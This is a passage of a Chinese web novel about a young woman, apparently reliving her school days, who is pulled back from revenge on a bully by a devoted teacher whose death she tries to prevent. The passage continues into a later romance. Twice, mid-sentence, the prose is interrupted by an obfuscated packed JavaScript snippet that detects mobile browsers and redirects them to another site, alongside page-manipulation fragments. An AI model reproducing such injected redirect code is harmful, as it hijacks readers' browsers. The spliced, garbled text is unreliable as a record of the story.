这一切仿佛都在向她证实,现在,就是最好的时机! 雎安喘着粗气,眼睛开始冒晕圈,但她的头脑却格外清晰。 她清楚地记得,今天吴珺看到她时所露出的嘲弄表情。还有她附在别人耳边低语时,又是怎样打量她的。 那轻蔑的白眼,飞扬的唇角,嘶嘶的讥笑声,都清晰且明确地向她表达着:“你能拿我怎么样?” 什么教养,什么忍让,什么善良! 去死吧! 雎安猛地收紧手中的绳索,在出力的瞬间,有一双手从她身后冒出,企图抢夺她手中的绳索。 随之而来的,是人的体温,和急促的鼻息。 她的身体瞬间僵直。 她知道,是有人从背后环住了她,就和公园那次一样。 4. 她想见的第二个人 雎安很确定,她当时退缩,并不是因为害怕,而是不想伤害一个鲜活的生命。 由此,叶扶英触到她发凉的双手时,绳索已然落地。吴珺的车只是颠了一下,就安全地通过了这条小路。 什么都没发生。 可雎安觉得她完了。 叶扶英,她的班主任,也是她想见的第二个人。 与她而言,叶扶英是美好的代言词。雎安绝不想让她看到她如此丑陋的一面,可偏偏就是她,目睹了她企图作恶的过程。 看来,人真的不能作恶。 雎安被带回学校办公室。 一路上,叶扶英紧紧牵着雎安的左手,没有责问,也没有训斥。 雎安却因此更为惭愧,难受、紧张。 她低着头,全然放心地跟在叶扶英身后,随着叶扶英的脚步走走停停。当她的注意力转移到两人紧握的手掌心时,才感知到掌心处传来的温度和潮湿的触感,也终于意识到,叶扶英之所以牵她牵得那般紧,不是因为怕她跑了,而是因为她因紧张而汗湿的手会打滑。 转念间,雎安想起自己为了防止逃跑时打滑,曾用手清理过路边青苔,而且因为没有机会洗手,她的指甲缝里还有绿色的污渍。下意识的,她抗拒用自己的脏手去触碰叶扶英,所以急切地想将手收回。 叶扶英反应极快,将紧握着她的手收得更紧。 雎安疑惑地抬头,正好对上叶扶英低头看她的眼睛。 “别怕。”叶扶英扬起嘴角,朝她展露笑颜,“老师不会为难你的。” 雎安突然很想哭。 “你先在办公室坐一会儿,等我把事情处理好,我再带你去个地方。” 语气很温柔,雎安的眉头却倏地皱起,一把抓住叶扶英的手臂,“老师,不要告诉我爸妈,好不好?” 雎安以为,叶扶英会询问原因,或是直接拒绝。 可她非但没有,反倒摸了摸雎安的头,像安抚一个婴儿般柔声细语,“好,乖乖坐在这等老师哦。” 她走了,却没走远。 雎安看着她忙前忙后,又是打电话给受伤学生的家长,又是安排运动会后的物品安置,一个小时过去,她都没忙完。 所以,她为什么会出现在暗巷? 她不该出现在那。 “对,我叫叶扶英,是雎安的班主任。你是雎安的妈妈吗?” 雎安猛地抬头,对上叶扶英的笑眼。 “今天是运动会的最后一天,班级事务有点多,我想请雎安留下来帮忙,可以吗?” 帮忙?可她什么都没做啊。 “对对,因为时间有些晚,我会带她吃点饺子再回去。您放心,晚上八点前,她肯定能到家。” 现在不过六点,为什么要把她留下来? 雎安感到云里雾里,一脸疑惑地看着叶扶英。 此时,原先来来往往的学生和老师都已离开,只剩雎安和叶扶英四目相对。 橙黄色的暖阳打在窗台上,由白炽灯照亮的办公室多了些暖意。 叶扶英挂断电话后,走到雎安面前,半蹲下来。 “老师,我可以解释,我不是......” 雎安话还没说完,就被叶扶英拥入怀中。 她的动作很轻,身上有着淡雅的花香气。雎安感觉自己像是陷进了一片被阳光照耀着的花田里,除去周身感知到的温暖,最重要的是,她因此感到安心。 她知道,这是叶扶英在安慰她。 “其实......老师昨天在单车房附近,无意间听到了你和吴珺的对话。” “雎安,对不起。” 感受到自己肩侧的衣衫被温热的液体打湿,叶扶英轻轻拍打雎安的后背,接着说道:“当时,我很惊讶,完全想不到吴珺会有如此恶劣的行为。同时我也很无措,我没处理过这类事件,不知道该如何介入这件事,该怎样教育吴珺才能正确引导她,同时又不会伤害到你。这是我当老师的第二年,我知道我经验不足、能力有限,但我真的担心你,也是真的想帮你。” 夕阳西斜,调皮的暖阳顺着窗台轻潜入室,悄悄地顺着叶扶英的后背往上爬,停留在雎安的面上歇息。 叶扶英毫无察觉,她松开雎安,逆着光观察雎安的表情,“刚刚,老师之所以跟着你,是因为察觉到了你的异样,怕你一时头脑不清,会做错事。” 即便逆着光,叶扶英依然能用她澄澈如镜的双眸,传递出她内心的真诚,“可你没有。我观察了你的一举一动,由此更加确定,即便我没有出现,你也会松开绳索。雎安,你是善良的孩子,老师能不能请你把你内心的想法和困惑,全都说出来呢?” 语毕,雎安哭得上气不接下气。 她当然知道叶扶英有多温柔,但毕竟隔着十一年的光阴,这份温柔早已被模糊的记忆尘封,变得有些陌生。此刻,被时光唤醒的记忆席卷而来,再一次赋予了雎安莫大的勇气和力量。 雎安哽咽着,把藏在心底多年的伤痛,全都说了出来。 作为一名优秀的聆听者,叶扶英没有插话,更没有发表看法,只是在故事的最后,递给雎安一包手帕纸,提醒她拭去眼泪后就该往前走了。 教师宿舍只有三栋楼,一共48户,位于学校内的单车房后侧,由一条逼仄的小巷作为入口。而这小巷,距离雎安和吴珺的谈话地点不过五步路,这就难怪那天叶扶英会听到她们的对话。 雎安乖乖跟着叶扶英往里走,好奇地四处打量。 她因为害怕脚下这条幽暗的巷子,以往在校三年,从没来这“探险”过,只听闻这是给老师临时落脚的地方,房子是典型的老、破、小,但凡经济条件好点的老师都不愿意住在这。 今日一见,她觉得传闻还是保守了。 三栋楼房的外观都是常见的灰白色墙体,只是因为有太多的裂痕,还有墙体成块剥落,大片露出底下的红色砖块。起先,雎安远远看去,还以为这是红白相间的砖房。 等再近些,她便看清头顶处缠绕的电线,布满墙体的是灰黑色的污渍,砖缝间满是油绿色的青苔。而最让雎安难受的,是楼房前的垃圾桶底部会流出黑色的污水,污水会顺着地板裂缝流到楼道口,最终堆积在那,发出刺鼻的腐臭味。 雎安住的也是老旧小区,但都不至于到这种程度。 难怪这所学校的师资会越来越差,名声也越来越不好,看来一切都有迹可循。 “是不是有些受不了?”叶扶英问道。 雎安憋着气,但还是立马摇头。 叶扶英却很坦然,“抱歉,因为我本来和一个学生约好了,让他在我宿舍里先写作业,等我男朋友过来了,再一起吃饺子。结果我男朋友临时有事,那名学生又是个男孩,我不太方便和他独处,所以想请你也一起来。” 雎安摆手,“没事没事,我很高兴。” 要是换成另一个人,哪怕是她的亲戚,雎安也会因为防备心而借口离开。但因为邀请的人是叶扶英,她才敢大胆地跟着她上楼,满怀期待地爬到最顶层,也就是八楼才停下脚步。 “我刚刚和你说的事,要记住哦~” 开门前,叶扶英特意转身提醒。雎安先是一愣,反应过来后连忙应好。 随后,银白色的不锈钢防盗门被开启,虽然有红色对联点缀,雎安仍觉得楼道的环境和门外的装饰是泛着冷色和暗色的,缺乏一种独属于家的温馨感。 但随着大门越敞越开,展现出更多的室内场景,雎安被眼前场景所震撼。 原木风的家具看着极其温馨,搭配绿白相间的装饰品和角落里摆放的绿植让整个屋子焕发出春的生机,干净整洁却并不死板,和门外完全是两个世界。 雎安注意到,餐桌的花瓶上一束粉色的绣球花,是这个房间里最亮眼的色彩。而餐桌上,坐着一个少年,他的手垫在一沓试卷上,眼睛盯着门口的方向,在和雎安四目相对的瞬间,迅速低头,不自然地摸了摸鼻子。 “叶老师好。”少年站起身,乖巧地和叶扶英打招呼,模样很是拘谨。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|15903027|176717||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 很明显,他就是叶扶英口中的黄宇恒同学。 自卑,敏感,怯懦。 他父亲是来南下打工的工人,因为在华州没有固定的住所,他一直随父亲住在工厂的宿舍里。加上经济条件不好,叶扶英说她每次看到他,他都是在吃馒头。直到有一次,她没忍住将他叫到办公室询问,才得知他们家一周就吃两次猪肉云吞,其他时候基本都在吃咸菜配馒头。 雎安听到的时候,全然忘记了自己的悲伤,讶异于班里竟然有这么困难的同学。 而今,她坐在黄宇恒对面,以电磁炉冒出的水蒸气为掩护,偷偷打量他,才发现他的校服透得过分,衣领上也都是毛球。想来是从初一开始就只有两套校服换着穿,从未买过新的,男生夏天又爱出汗,衣服上很容易起霉点,漂白得多了,就会变得很透。 雎安见他的上衣和透视装似的,实在猜不到他究竟漂白了多少次。 此时,放在餐桌上的电磁炉发出“噗噜噗噜”的声响,是水烧开了。 叶扶英将切好的圣女果丢进锅里后,又去冰箱将饺子取出来,用水将饺子皮上的面粉冲掉,随后一股脑全都倒了进去。 “太多了,老师!”雎安和黄宇航异口同声地惊呼出声。 叶扶英勾唇一笑,似乎很满意他们的反应,表情带着点得意,自顾自地拿筷子搅动起饺子来,“不要和老师客气,能吃就吃,吃不完就打包回家。” 在饺子熟透之前,叶扶英开始分发碗筷,雎安因为一时手滑,筷子跌落在地。她立刻弯腰,想将筷子捡起来,却被桌下的一对旧鞋吸引了视线。 那是对黑白配色的经典帆布鞋,鞋边的胶皮磨损得很严重,鞋面的色彩也不再鲜艳,就好似蒙上了一层灰。鞋带和他的衣领一样,起了许多毛球。至于鞋底,在雎安的印象里,这个牌子的帆布鞋质量过硬,几乎不会出现小裂口,可他的鞋底却出现了。 不知道是不是察觉到雎安失礼的打量,明明没有低头的黄宇恒,突然做出将双脚向后挪的动作。 雎安回过神来,不好意思地迅速起身,将掉落的筷子递给叶扶英。叶扶英接过后,重新去厨房拿了双新的给她。 不得不说,人的注意力真的很神奇。 他们明明同班了一年多,但雎安从未注意到这些细节。今天却因为叶扶英的几句话,对这个人的背景有了些了解,一切细节好似都被放大了,她的注意力不自觉地被引导,激发了她的探索欲和好奇心。 偏偏她也是个自卑敏感的人,知道被人打量的感觉并不好受,会让人胡思乱想,严重时,甚至会开始自我检讨、自我抨击。所以,她又在极力克制着自己的视线。 非常矛盾。 “我去接个电话。”叶扶英拿起桌上的手机,朝阳台走去。 餐桌上只剩雎安和黄宇恒两个人。 雎安无所事事,打开锅盖观察饺子,发现他们正争先恐后地浮起来,你挤我,我挤你,还没有到出锅的时候。她只得盖回锅盖,转而看向被挪到电视柜上的绣球花,最后实在不知道该看哪,便将视线定格在叶扶英含笑的侧颜上。 房子不大,隔音也不好,雎安其实能很清晰地听清叶扶英的电话内容。 是她失约的男朋友打来电话,应该是有什么变动,会在一个小时后接她去他家过中秋。 闻言,叶扶英的眼睛弯成了月牙状。 显然,她很开心,雎安也情不自禁地跟着笑了一下。 “好,阿挚也一起来吗?” 电话那头在回应。 “我没那么多东西,不用麻烦阿挚了。或者,他吃晚饭了没?我这还有很多饺子。” 阿挚?这个叫法熟悉得让雎安心颤。 “刚锻炼完不能喝冰水。” 电话那头不知说了什么,叶扶英收起笑容,语气认真地回道:“邓庆生,你怎么还在笑啊?你可是人小舅舅,得为他的健康着想,赶紧让宋挚别喝了。” 飞云掣电间,雎安感觉后脑勺被什么电了一下,一阵酥麻。 5. 你是神婆吗? 雎安从来没有过如此神奇的感受。 仅仅是听到一个人的名字,脑海里便能随即浮现出诸多她和他在一起的画面。就好像,他们曾有一段命运的邂逅和纠缠。 雎安赶忙晃动脑袋,企图将脑中荒唐的想法和狗血的画面全都甩出去。于是,她便在黄宇恒诧异的目光中,突然将盘子里的青菜一股脑地倒进电磁炉,惊得他瞪大了双眼。 烦躁的情绪并没有持续很久,叶扶英回到桌位后,心情极佳的一直劝雎安和黄宇恒动手夹菜。三人便在氤氲着食物香气的餐厅里一边吃饺子、一边谈心。 第一个主动敞开心扉的人,是叶扶英。 “过两天就是中秋了,能有你们来陪我吃饺子,老师今天很开心。你们应该不知道,老师是个孤儿的事吧?” 雎安和黄宇恒都停止了咀嚼,愣了几秒才一起摇头。 “老师小学四年级的时候没有了父母,一直在孤儿院待到初二,突然有一天,有对中年夫妇笑着说想要领养我,说我不愧是英雄之后,生得很端正,我当时很开心,觉得我又有了个家。只是,在读我高中的时候,他们有了自己的孩子,我又没能考上市里最好的高中,就被弃养了。”叶扶英陷入回忆时,面上还是不自觉地会显露出悲伤,“不过,我很幸运地遇到了和善的老师和同学,他们给予我支持和能量,我们互相鼓励,度过了很温暖的校园时光,” 说到这,叶扶英的眼里像是揉进了星星,“老师是经历过的人,知道这世上有好就有坏、有光就有影。就好像,幸福总是相对于悲伤而言,有悲伤才能知晓幸福的滋味。” 雎安和黄宇恒都不知道彼此经历过什么,但叶扶英这一番劝说,他们心里都有了个大概,知晓对方是和自己相似的人。 “老师现在就很幸福,因为曾受人帮助,所以也想帮助你们。你们不用觉得愧疚,也不用不好意思,潇洒地接受别人的帮助,也是你们成长的一个课题。老师看得出来,你们都是很好、很棒的孩子。所以希望你们能交到朋友,以后有什么难过的事,可以互相倾诉。当然,如果你们担心闲言碎语,也可以私底下找老师谈心。总之,不要再自己一个人抗下所有的坏情绪了,好不好?” 原来,是希望他们能交个朋友,互相安慰。 “好。”雎安爽快应下,简单介绍了自己,转头去看黄宇恒,发现他低着头、扭捏着不出声。 雎安和叶扶英都没有为难他,更没有表现出任何不满。因为这完全可以理解,而且他并不了解雎安的为人。雎安也不知道他会不会和吴珺一样、突然在背后捅人一刀。 反正黄宇恒这个朋友,雎安交不交都无所谓。 她在乎的,是叶扶英。 只是,原先她一直不敢直直地盯着人家看,现在因为被冠上了交朋友的名义,她终于能够毫不避讳地打量黄宇恒,直视他厚重刘海下隐藏着的一双眼眸,惊叹于这世上竟有人的眼睛能带着一种清澈如山泉般的清凉感,而且还有种陌生又熟悉的感觉。 这是她第二次有如此强烈的熟悉感,但又和第一次宋挚所带来的感觉不同,她的脑海中没有画面闪过,内心也没有悸动。 可能......是黄宇恒不够帅?或是年纪太小了? 雎安猜测着,不禁犯嘀咕。 看来,有关于她脑中出现的奇怪记忆,以浪漫点的说法,就是命运在敲击她,预示她会和某人有段命运的邂逅。而更靠谱的解释,便是她24岁的母单灵魂觊觎着散发出浓烈荷尔蒙气息的帅气男性。 也就是说,单纯是她馋。 想到这,雎安极不自然地咳了两声。 叶扶英注意到后,就一直让她多吃点青菜,还让她和黄宇恒离开的时候带些水果回去。 雎安怎么好意思拿,这顿饺子的馅料丰富到有五六种口味的青菜来混猪肉馅,甚至还混杂着鲜虾扇贝馅的海鲜饺。 是客人一吃,便知主人家用了很多心思的程度。 不过,这也导致黄宇恒在吃了一碗饺子后,就变得相当拘谨,不敢主动夹菜,可能是觉得多吃就是贪婪,会惹人厌恶。 这是雎安第一次见到比她还诚惶诚恐的人,心脏的位置瞬间有种堵闷的感觉。 “老师,我吃饱了。” 叶扶英一直帮黄宇恒夹菜,黄宇恒不安地推拒,终于在数次失败后,干脆地放下了筷子。 见他如此油盐不进,雎安怕叶扶英尴尬,开口解围道:“老师,下次我能来帮你包饺子吗?我不想吃白食。” “可以啊,老师欢迎你来。” 话语间,雎安偷瞄一眼黄宇恒,心想,她毕竟是在职场打拼了两年的打工人,这还不能拿捏你? 果不其然,听她这么一说,黄宇恒支吾着说道:“那......我,我也来帮忙吧,下次。” 叶扶英很是开心,笑容明媚地应完好后,随即反应过来这是雎安的小把戏,便转身朝雎安眨眼,以示肯定。 计谋得逞,雎安心里也有些得意,正笑得张扬,却因为叶扶英和黄宇恒收碗的动作,突然意识到美好的聚餐就要结束了,笑容瞬间收敛。 “老师。” “嗯?” “今天发生的事,您会惩罚我吗?” 黄宇恒拿着碗筷,迅速躲进厨房,明显是觉得不该听。 “不会。”叶扶英放下碗筷,想拍拍雎安的肩,意识到手上有油,又收回了手,“因为你用你珍藏于内心深处的善意,在最关键的时候击败了控制你的恶意。你要知道,这不是谁都可以做到的。在这世界上,有很多人因为一时冲动而行差踏错,最终要用一生去偿还。” “但是!”叶扶英举起右手,比了个V,语气却非常严肃:“绝不能有第二次。” “好!”雎安极其坚定地应答,暗自发誓,以后再出现恶念的时候,都会用这段记忆来警醒自己。 而她现在要做的,是问出第二个问题,也就是她来实验的原因之二。 “老师。” “嗯?” “之前,我因为和家人起矛盾,放学后不想回家,在课室一直哭。您安慰我的时候,我问了您一个问题,您还记得吗?” 雎安十二岁那年的教师节,叶扶英因为教务繁忙,最后才离开办公室。彼时,天色已暗,她穿过走廊,准备回家的时候,发现有一个少女伏在桌上不停地哭泣、双肩因激烈的情绪而反复起落。 她透过玻璃窗往里瞧,认出了雎安。 也就是那一天,叶扶英走进了她的心里,成为了她的精神支柱。 “老师向你保证,一定不会因为你的话而指责你。”叶扶英轻轻地步入课室,在雎安的身边坐下,并将包包里的草莓巧克力拿了出来,放到雎安的桌前,“吃点甜食,先平复下心情,你再告诉老师为什么哭,好不好?” 眼前是一张美得张扬的脸,锐利的五官本该让人产生距离感。可叶扶英舒展的眉眼,明亮如星的眼眸,时常含着笑意的唇角,都让她显得平易近人。 于雎安而言,她如太阳般耀眼,又如春风般温柔,好似没有悲伤,能够情绪稳定地解决任何难题。 此刻的雎安隐于阴影中,警惕地看着她,突然觉得自己好悲哀,觉得自己和那阴沟里的老鼠无异,不过是被人厌弃的存在。 “他们明明是我的父母,为什么一点也不尊重我?翻我的日记,还嘲笑我。拿我最讨厌的人和我做对比,总夸她,然后来贬低我。最近还撬我房间的门锁,说家里的每一处都是他们的。我做好了一件事,他们也只会说,要是我一早就按他们的方法来,可以做得更好。他们怎么这么坏啊?一点都不顾及我的感受。” 说到最后,雎安压抑的情绪全都迸发出来,已经变得口无遮拦,“我为什么非要听话?为什么不能反抗他们?为什么给我饭吃,我就要做他们的情绪垃圾桶?他们每天都在我面前抱怨,说生我、养我花了多少钱,说要不是因为我,根本不用过得那么辛苦。可我又不想,我根本就不想来这个世界,也不想让他们做我的父母。” 有本事你就自己赚钱,有本事你就别吃父母的、用父母的啊。 曾经有个雎安很喜欢的阿姨,在听到雎安的抱怨后,这样回答雎安,看到雎安吃瘪的表情后,还很得意地说年轻人就该多听长辈的话。 自那以后,这是雎安第一次敞开心扉。 虽然,这是带着诸多负面情绪的抱怨。虽然,她很有可能会得到相同的回复。虽然,她可能因此被老师定义为白眼狼。 可她此刻太难过,难过到心脏仿佛无法跳动,存活在这世上的每一秒都是负担,她的内心在咆哮,告诉她必须宣泄出来,和谁说都可以,只要能宣泄出来。 也就是这一次,因为叶扶英的引导,让雎安明白了,何为“得遇良师,何其有幸”。 她说:是你的父母也还没长大,还没意识到,你已经是独立的个体了。他们的教育方式是不对的,他们在打压你的天性,试图以驯服你来获取成就感。 她说:你当然要反抗啊!你要通过不断地反抗来建立自我、找寻自我。 当时的雎安歪着脑袋,缩着身子,和猫一样警惕,因为她的潜意识里,似乎早已认定反驳她才是正常的,哪怕她渴望得到认同,非常渴望得到认同。 “老师,你是想安慰我,然后转头就告诉我爸妈吧?” 叶扶英被雎安鬼马气十足的倔犟表情给逗笑,有些无奈地摇头,“老师是不希望你以献祭自我的方式来讨好父母,因为老师就曾走过这条弯路。老师的养父母认为,我必须听话,凡事都要做到最好,才值得被爱。很长一段时间,我都在讨好他们,可我最后还是被他们厌弃了。在那之后,我每天诅咒他们,怨恨他们,心理状况越来越糟,成绩还因此一落千丈。” “都怪他们,是他们坏。”雎安代入了自己,眉头紧蹙,气哄哄地为叶扶英打抱不平。 “其实,有一部分确实是他们的错,有一部分却是在我。是我先放弃了我自己,任由他们打压和规教,我的关注点从来不在‘我’的身 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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偶尔有机会说话,也是在课间的教室,或是在人来人往的办公室。可雎安并不想在人前谈论如此私隐的话题,怕有人听到后会胡乱编排她。 她想,反正总会有机会的。 可她还没有得到答案,叶扶英就死了,死在了2012年的中秋节。 “我当然记得。”叶扶英不加思索地回答雎安,“跟着心走,雎安。” “因为人的选择是很难论断对错的,其实不管怎么选,都会有后悔的点。不如跟着心走,尊重自己的感受,心会指引你前行,命运会给你答案。” 跟着心走。 是叶扶英的个性签名,也是她的座右铭。 叶扶英离世后,雎安曾在学校最角落的教师荣誉栏上看到过,她记得换行后还有一句话:一往无前,绝不后悔。 “老师。” “嗯?” 此时,廖学文提着叶扶英强塞到他手上的打包盒,已经走到了楼下。而雎安,还站在门口犹犹豫豫,张着嘴,应该是有什么话要对她说。 “或许在您听来,这是很荒谬的一件事。”雎安的手紧紧地抓着门沿,蓦地拔高声调,“但我的预感真的很灵,您中秋节那天一定不能出门!尤其是不能靠近华州财经大学附近的山脉,可能会有生命危险。” 实验前,她特地翻阅过叶扶英出事的新闻,虽然出事地点写得并不明确,但大致方位还是看得出来的。 “还有,您最近得罪了小人,或许您察觉到了,或许您没有,但您一定得小心。” 一声轻笑声突然从背后传来,雎安心中一颤,脊背瞬间僵直。 “你是神婆吗?”邓庆生明明在笑,看着也很友善,但眼中却没有笑意,“我和扶英都不信教,就不劳烦小同学操心了。她的安全,我会负责。” 雎安顺着声音回头,同时往后退了一步。 显然,她忘记了这老房子的进门处还有个门槛,在失去平衡那刻,她惊诧地瞪大双眼,伸出手想抓住门沿,阻止自己往后倒,可惜来不及了。 “砰”一声。 一双强有力的手及时抓住了她的双肩,她的后背砸到了他的胸口,声音从她的头顶传来,“小心!” 宋挚庆幸自己运动后,先在淋浴间洗了个澡才过来。此刻,跟前的女生抬起头来看他,因为她的重心还没调整过来,人还倚靠在他身上,两人的距离近得让他心慌。 “舅舅,你这么凶干嘛?好了,现在吓到人了。”慌乱中,宋挚果断将矛头转到舅舅身上,“再说了,这世上的怪事多得很。偶尔信信也没什么,保个平安。” 邓庆生身为刑警,观察力是何其敏锐,一下便识破宋挚镇静外表下的慌张,觉得好笑的同时,仔细想了想,他这外甥确实到青春期了。 “别碰我!” 雎安回过神,怒吼一声后猛地推开宋挚,以迅雷不及掩耳之势冲下楼,消失在三人的视线中。 宋挚没反应过来,回身对着空荡的楼梯间,双手仍保持着抓握的动作,仿佛触感仍在。 6. 我们在一起吧 十字路口的红灯迟迟不转绿,雎安胡乱点了会儿手机,又开始假意观察起路边的小叶榄仁,突然想起以前和朋友一起走路回家的时候,还曾开玩笑说这些树应该叫“千层树”。 千层树下有一个巨型广告牌,写着“2026想要不脱妆,就选‘浮光’柔雾版粉底液”,广告牌的底图是一副国风水墨画,和一众怼脸代言放在一起,倒是格外有意境。 “总算找到了。”宋挚在她身边站定,身上透出淡淡的栀子花香,“很漂亮。” 雎安的第一反应是,他是有意的。 他说的话和身上的香气都意有所指。 “对啊,我还蛮喜欢这些树的。” 雎安回头,注意到他今天穿的竟是极为规整的西装。禁欲系的脸配上禁欲系的白衬衫,负负得正后,他的周身散发着一种朦胧的色气感。 至少,在雎安眼里是这样的。 她不自然地摸了摸鼻子,问道:“好巧,你怎么在这?” 红灯转绿,宋挚示意雎安往前走,“我要去张记吃饭,一起吗?” “不用。”雎安未经思考,拒绝得太快,气氛变得有些尴尬,又开始尝试补救,“我家里还有饺子,已经冻很久了,我今天得把它们吃掉。下次吧,下次一定。” “小心,前面是红灯!” 他们脚下的斑马线被分割成了两段,宋挚在踏上安全岛的时候,注意力都在雎安的身上,差一点就闯了后半段的红灯。 雎安的右手抓着宋挚左手的手肘,因为过于用力的抓握,还将他的西装弄出了明显的褶皱。可她的注意力不在这,全都在和宋挚擦身而过的电动车上,惊魂未定的模样。 “你过马路得看路啊,刚刚好危险。” “对不起。”宋挚重新回到安全岛,因为离得近,他看着雎安身上那件绿色的收腰长裙上的栀子花刺绣,眉睫不由地颤了一下。 “你可以叫我阿挚。” “啊?”雎安被宋挚突然蹦出来的话弄得云里雾里,反应过来后,又对他不重视自身安全而感到气恼,“我让你看路呢,你在说什么啊?” 雎安生气了,眉头紧蹙,语气也不好,但宋挚却是觉得当下的喜悦宛如满溢的水杯、止都止不住。 “阿挚。”宋挚的声音低柔,眉目更是满含柔情,“你叫我阿挚吧。” 两人视线交汇,片刻沉默后,雎安败下阵来。 她慌乱地移开视线,四处乱瞟,“我还是叫你宋挚吧。” 红灯再次转绿,雎安踏脚往前走,才意识到自己还抓着宋挚。慌乱中,她像是触到烫手山芋般猛地收回手。 “为什么不肯叫我阿挚?我的家人和朋友都这么叫我。” “从成都回来以后,你一直在疏远我。为什么?你讨厌我?” 两人安全地通过了马路,宋挚的连问却让雎安嗅到危险的气息。她脚步一转,特意选择走小路,小路的岔路口多,他们可以更早分开。 “没有啊,我只是最近都在忙。”雎安的手紧紧地抓着袋子,肉眼可见的紧张,“你问的问题好奇怪,我为什么要讨厌你?” 躲他是真,忙碌是真,不讨厌也是真。 雎安没有撒谎,却感到一阵心虚,竭尽所能地避开和他对视,却仍能感受到他热烈的视线。 此刻,他们相距两米,彼此都没有出声。雎安迟迟等不到他回复,又不知道该怎么接自己的话,故而下意识地咬唇,心神不宁的样子。 其实,她大可以道个别就转身离开,回到她的家,她的乌龟壳,可她竟然不敢。 因为......她和他之间的暧昧,也是真。 “我朋友都叫我阿哲。” “那我不叫你阿哲,一点都不特别。” 傍晚时分,从摩天大楼涌向老旧小区的打工人不计其数,即便两人行走在幽深的巷子里,仍有一对情侣挽着手,姿态亲昵地从两人之间走过。 “我叫你哲宝宝,好不好?” 说完,分不清是甜蜜还是甜腻,两人都笑得上气不接下气。 什么时候秀恩爱不好,偏偏在这时候! 雎安咬紧后槽牙,假装什么都没听见,脚步却不自觉地加快。 “雎安。” 听到自己的名字,雎安先是一颤,而后放慢脚步,应声回头。 她的理智在提醒她,千万不要对视,千万不要和宋挚对视!可她的眼睛却在回头的第一时间便对上了宋挚的眼眸,借着昏黄的路灯观察起他的表情来。 她发现,两人视线碰撞在一起的那刻,宋挚明显是意外的,可也只那么一刻,之后他便低下头,无声地笑了笑。 “不叫也好,朋友什么的,一点意思都没有。” —————————— 2026年8月8日,是雎安的27岁生日。 二十平的出租屋内,放置着一张简易的木桌,木桌上有个四寸的黑芝麻核桃戚风奶油蛋糕。 那是雎安买给自己的,当时她在橱窗前犹豫了很久,在仅剩的几个成品里选择了最养生的蛋糕。 这大概就是资深打工人的觉悟,哪怕是高糖食品,那也得选最健康的。 看着黑暗中唯一的光点,雎安合十双手,开始许愿。 三个愿望,一是健康,二是快乐,三是她不敢说出口的、失脱理智的爱。 “生日快乐,雎安。” 雎安前倾身体,将蜡烛全都吹灭。 其实刚毕业那会儿,她就想过自己会独自搬出来住,以为会过得很孤独、很凄惨。可当她真的开始独居后,发现这一切都超乎想象得好。 人是自由的,空间是自由的,思想更是自由。 每天回到家后,狭小空间里的自己总能得到前所未有的满足和安定。闷了就去附近的公园走走,逗逗保安大叔的小狗。累了就瘫在床上睡觉,无聊了就开始看书、刷剧、运动,偶尔还会做做旅行的攻略。孤独了就开始大胆畅想,要是身边有自己喜欢的人陪伴着,他们此刻会做些什么,会不会一起陷入狂欢呢? 空间是狭窄的,人生却是开阔的。 吃完半个蛋糕后,雎安实在腻得不行,索性起身给自己泡了杯红茶。当室内茶香氤氲,她深吸口气,觉得这茶香能让精神得到抚慰,之后便迫不及待地叹了口热茶,胃也舒服不少。 她拿着茶杯,打开平板,开始不停地翻找感兴趣的影视作品。 可她越是急切地翻找,就越是不满意,最后竟是打开了相册,对着一张照片发呆。 那是张底下有水印的网图,照片的主角却是她和宋挚,背景是在地铁上,宋挚靠在雎安的肩上睡着了,雎安便扶着他的头,两人的面上都带着笑。 这是张他们被偷拍的照片。 雎安第一次看到的时候,极其惊讶,极其愤怒,她很讨厌偷拍,更讨厌这种私自放在网上的行为,可在她意识到这是她和宋挚唯一的合影时,她却变了。 她突然觉得自己好可悲,竟然会庆幸有这么一张照片的存在。 她盯着平板,看得出神,以为自己简单地看几眼就能缓解寂寞,可她越看越是想...... 想他暗含情愫的眼睛,想他那让她脖颈发痒的鼻息,想他上下滚动的喉结,想他白T下若隐若现的胸肌,想他壮实的大腿,想他低沉的嗓音,想他的......所有。 她灌下一杯茶,随后放下茶杯,捧着自己的脸猛地连拍记下,试图冷静下来。 “叮叮叮,叮叮叮~” 手机一响,雎安浑身一震,心跳开始加速,期待着什么,但又害怕着什么。 来电人:宋挚 手机在木桌上,雎安飞扑到桌边,摁下了接听键。 “雎安。” “嗯?”雎安还在整理自己的情绪,心虚着不想发出过多的声音。 “生日快乐。”宋挚看着楼上那盏亮起的灯,“我想见见你,你方便下楼一趟吗?” 话音刚落,雎安就冲到窗前,像是做贼一样半蹲着,探头探脑地偷瞄。果不其然,宋挚就在楼下,手里提着一个蛋糕和一个礼盒。 “不方便。”雎安心如擂鼓,拒绝地很快,“我已经换上睡衣了,谢谢你的祝福。” “谢什么?我礼物还没送,祝福也还没说。麻烦你套件外套下来,就几分钟,我很快就说完。或者,你出来楼道就好,让我和你当面说几句,好吗?” 雎安沉默了会儿,“对不起,我真的不方便,礼物也不用了,有心就好。” “你在偷瞄我,邹雎安。” 宋挚的目光突然精准地锁定雎安,就好像镁光灯突然打在影子上,让她的遮掩消失殆尽,“平时躲我也就算了,今天是你的生日,你就这么狠心,连个祝福的机会都不给吗?” 雎安站起身往下看,已经找不到宋挚的身影了。 “你想祝福我什么?” 一阵静默,很快,敲门声响起。 雎安猛地回头,看向大门的方向,却没有开门的动作,“我不会开门的。” 她是成年人了,不能给自己犯错的机会,更不能纵容自己犯错。 “我不是要你开门。”宋挚将礼物放在地毯上,“礼物我放门口了,我在楼梯口等你。” “不!”雎安叫住他,“礼物我收了,有话你就在电话里说吧。” 宋挚果断拒绝,“我说了,我想见你。” 